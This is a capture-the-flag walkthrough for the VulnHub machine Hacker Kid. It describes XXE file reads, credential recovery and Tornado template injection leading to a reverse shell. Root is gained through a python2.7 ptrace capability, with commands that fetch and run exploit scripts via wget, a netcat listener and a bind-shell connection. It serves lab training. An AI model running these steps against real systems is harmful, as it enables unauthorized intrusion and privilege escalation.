Capture the flag (CTF)

HACKER KID 1.0.1: VulnHub CTF walkthrough part 2

During the enumeration, we discovered that there are two domains are running, which are the following:  

• hackers.blackhat.local 
• hackerkid.blackhat.local 

We configured our attacker machine host file to run the application on the domains. We recommend reading part 1 of this CTF for better understanding. In this part of this CTF, we will explore the identified subdomain to find vulnerabilities in the target machine to gain root access. 

Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.

The steps

A summary of the steps required in solving this CTF:

1. Identifying and Exploiting XXE vulnerability
2. Identifying and exploiting server-side template injection vulnerability
3. Taking user reverse shell
4. Escalation user privileges to root

Step 7

As we know from the previous part of this CTF, there is a signup functionality on the homepage of the subdomain hackerkid.blackhat.local. This means that we can sign into the application. The sign-up page can be seen in the following screenshot. 

We’ll sign up for the application. Before that, we configured a burp proxy to analyze the request and response, which is useful if the signup fails. The signup request captured into the burp can be seen below. 

In the above screenshot, we can see the details provided during signup in the intercepted request on Burp Suite. The target application uses XML-style communication for user registration. This might be vulnerable to XXE (XML entity Injection), which allows an attacker to inject server commands through the XML form. To confirm the vulnerability in the target application, we decided to read a server file using the XML-based registration request, as we can see below. 

We added the command to read the ‘etc/passwd’ file, confirming that it is vulnerable for XXE. We can see the ‘etc/passwd’ file in the response. As per the hacker message, there is something in the home directory of the user. As we can see via the ‘etc/passwd’ file, we can also view the usernames. Let’s now try to view some common files from the user. 

As per the hacker message, there is something in the home directory of the user. Since we have the /etc/passwd file to see the username, let’s also try to view some common files from the user directory. 

We tried opening the ‘.bashrc’ file in the user directory. The file was in encoded form, so we needed to decode it first to check the contents. We decoded the file and opened it into the notepad, which can be seen below. 

The identified file was a python program. We analyzed the file contents, and at the end of the program, we got one username and password. 

• Username: admin
• Password: Saket!#$%@!!

We tried to use these credentials for the SSH login, but it did not work. We noted these credentials for later use. As we know, there is another HTTP open port available on the target machine, so let’s open port 9999 and analyze it for vulnerabilities.

Step 8

In this step, we will explore the HTTP port 9999. First, we opened the target machine IP address with port 9999 into the browser, which can be seen below. 

As can be seen above, the homepage redirected us to a login page. As we had already identified credentials set from the previous step, let’s use this to log in to the target application.

• Username: saket
• Password: Saket!#$%@!!

The credentials were successful, and we are now logged into the target application running through port 9999. However, after logging into the application, we again got a text message, and no functionality was given to be explored further. We decided to intercept the target application into Burp Suite for further analysis. 

As this is an unusual setting for web servers, we decided to research this over the internet. During the analysis, we found interesting information: the target application was running on ‘Tornado Server,’ and the version information was also available. Soon we found that the installed version was affected by a server-side template injection vulnerability. The Google results can be seen below for details about the vulnerability. 

Let’s visit the exploit page and understand the details to execute this on the target application successfully. 

In the above screenshot, we understand that a get parameter ‘name’ can pass the values to be reflected in the application response. Let us try this in the browser. 

In the above screenshot, we added a get parameter in the URL and set the value as ‘abcd.’ The value was reflected back into the application’s response. Let us try a simple server-side injection payload. We decided to enter a mathematical calculation and check whether the application returns the processed data. This can be seen in the following screenshot. 

The target application reflected the calculated data, meaning that we can inject any commands in the form of a payload, and in the response, we will get the data from the target server. 

We verified this by executing the ‘ls’ command on the target machine through the server-side injection attack. The payload used and the result can be seen in the following screenshot. 

As seen above, we got the response for the ‘ls’ command from the server as it listed all the files available in the current directory. 

In the next step, we will exploit the server-side injection vulnerability to get the reverse shell. 

Step 9

Let’s write a payload for the target machine to get the reverse shell. We used a simple reverse shell payload, but we need to URL-encode it before executing it, as can be seen below. 

We used the burp decoder for encoding the reverse shell payload in the required format. This can be used as a value for the ‘name’ parameter, which is vulnerable to server-side injection. Before executing the attack, we configured Netcat on our attacker machine to listen to port 1234, which we provided in the reverse shell payload. 

Command used: << nc -lvp 1234 >>

After launching the attack, we got the reverse shell in our NetCut terminal, as seen in the above screenshot. We have got the user shell access on the target machine. In the next step, we will escalate user privilege to root. 

Step 10

We started exploring the target machine for known vulnerabilities. We ran a few commands to enumerate the target machine operating system and kernel version information. The version information can be seen in the following screenshot.

Command used: 

• << cat /etc/issue >>
• << uname -a >>

We searched over the web for an available exploit for the installed versions, but none could be found useful for our case. We explored the rest of the accessible areas on the target machine but didn’t get anything useful. We decided to run an automated tool to identify an available exploit for the Linux version. 

Command used: 

• << git clone https://github.com/mzet-/linux-exploit-suggester.git >>
• << cd linux-exploit-suggester/ >>
• << python3 -m http.server 8001 >>
• << wget 192.168.1.23:8001/linux-exploit-suggester.sh >>

We downloaded the Linux exploit suggester tool on our attacker machine. After that, we extracted the Linux-exploit-suggester script file on our attacker machine to be available in the HTTP directory. Then, we downloaded the script using the wget utility on the target machine and executed the script. The results can be seen above. However, none of them were useful for us for privilege escalation. We decided to check the capabilities for different binaries, and the results can be seen below. 

Command used: << /sbin/getcap -r / 2>/dev/null >>

By analyzing the results, we found an interesting entry which can be seen highlighted in the following screenshot. 

Command used: << /sbin/getcap -r / 2>/dev/null >>

The python2.7 has cap_sys_ptrace+ep capability. This capability can be used for privilege escalation and can help us get the root. We need to identify a process that can be run as the root user. We checked the processes and found a process id that is being run as root, given below. 

Command used: << ps -eaf | grep root >>

The process id is 804, which is being used for the apache service. We will use this process ID for exploiting the weak capability. We needed to download the exploit for the weak capability, and we used the wget utility to directly download the exploit on the target machine. 

Command used: 

• << wget https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py >>
• << chmod +x inject.py >>

The exploit was successfully downloaded on the target machine. After that, we gave executable permissions to the exploit file ‘inject.py’ using the chmod command. We can exploit the weak capability through python by providing the process ID of the process being run as root. The exploit information will create a bind shell at port 5600, as seen in the following screenshot. 

Command used: << python2.7 inject.py 804 >>

In the above screenshot, we can see that the bind shell has been created at port 5600. We can connect to the bind shell through NetCut on our attacker machine, which shall grant the root access of the target machine. 

Command used: << nc 192.168.1.12 5600 >>

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

We used the id command to check the current user, confirming that we are now logged into the target machine as root. Hence, the challenge has been completed as we have gained access to the root user of the target machine. 

I hope you enjoyed solving this CTF. Keep practicing and trying for more challenges. 

 

Sources:

• Injection in tornado, GitHub
• Linux exploit suggester, GitHub

• Hacker kid, VulnHub